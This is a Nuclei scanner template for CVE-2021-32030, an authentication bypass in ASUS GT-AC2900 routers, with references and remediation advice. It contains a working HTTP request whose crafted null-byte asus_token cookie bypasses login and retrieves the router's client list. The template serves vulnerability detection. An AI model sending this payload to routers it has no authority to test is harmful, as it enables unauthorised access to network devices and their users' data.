58 lines
2.3 KiB
YAML
58 lines
2.3 KiB
YAML
id: CVE-2021-32030
|
|
|
|
info:
|
|
name: ASUS GT-AC2900 - Authentication Bypass
|
|
author: gy741
|
|
severity: critical
|
|
description: "ASUS GT-AC2900 devices before 3.0.0.4.386.42643 allows authentication bypass when processing remote input from an unauthenticated user, leading to unauthorized access to the administrator application. This relates to handle_request in router/httpd/httpd.c and auth_check in web_hook.o. An attacker-supplied value of '\0' matches the device's default value of '\0' in some situations."
|
|
impact: |
|
|
Successful exploitation of this vulnerability can lead to unauthorized access to the router's settings, allowing an attacker to modify configurations, intercept network traffic, or launch further attacks.
|
|
remediation: |
|
|
Apply the latest firmware update provided by ASUS to fix the authentication bypass vulnerability (CVE-2021-32030).
|
|
reference:
|
|
- https://www.atredis.com/blog/2021/4/30/asus-authentication-bypass
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-32030
|
|
- https://github.com/atredispartners/advisories/blob/master/ATREDIS-2020-0010.md
|
|
- https://www.asus.com/Networking-IoT-Servers/WiFi-Routers/ASUS-Gaming-Routers/RT-AC2900/HelpDesk_BIOS/
|
|
- https://github.com/ARPSyndicate/kenzer-templates
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2021-32030
|
|
cwe-id: CWE-287
|
|
epss-score: 0.48092
|
|
epss-percentile: 0.9739
|
|
cpe: cpe:2.3:o:asus:gt-ac2900_firmware:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: asus
|
|
product: gt-ac2900_firmware
|
|
tags: cve2021,cve,asus,auth-bypass,router
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
GET /appGet.cgi?hook=get_cfg_clientlist() HTTP/1.1
|
|
Host: {{Hostname}}
|
|
User-Agent: asusrouter--
|
|
Referer: {{BaseURL}}
|
|
Cookie: asus_token=\0Invalid; clickedItem_tab=0
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- application/json
|
|
|
|
- type: word
|
|
words:
|
|
- "get_cfg_clientlist"
|
|
- "alias"
|
|
- "model_name"
|
|
condition: and
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
# digest: 490a00463044022017a99b0dbcb7156774fecefd56dc839f32ad4c10124e7b7c024b15913ce6edca0220272077c41feca50f7508d555d34b81f8063ea73eb3c1be6a19bdf83c0b6529bb:922c64590222798bb761d5b6d8e72950 |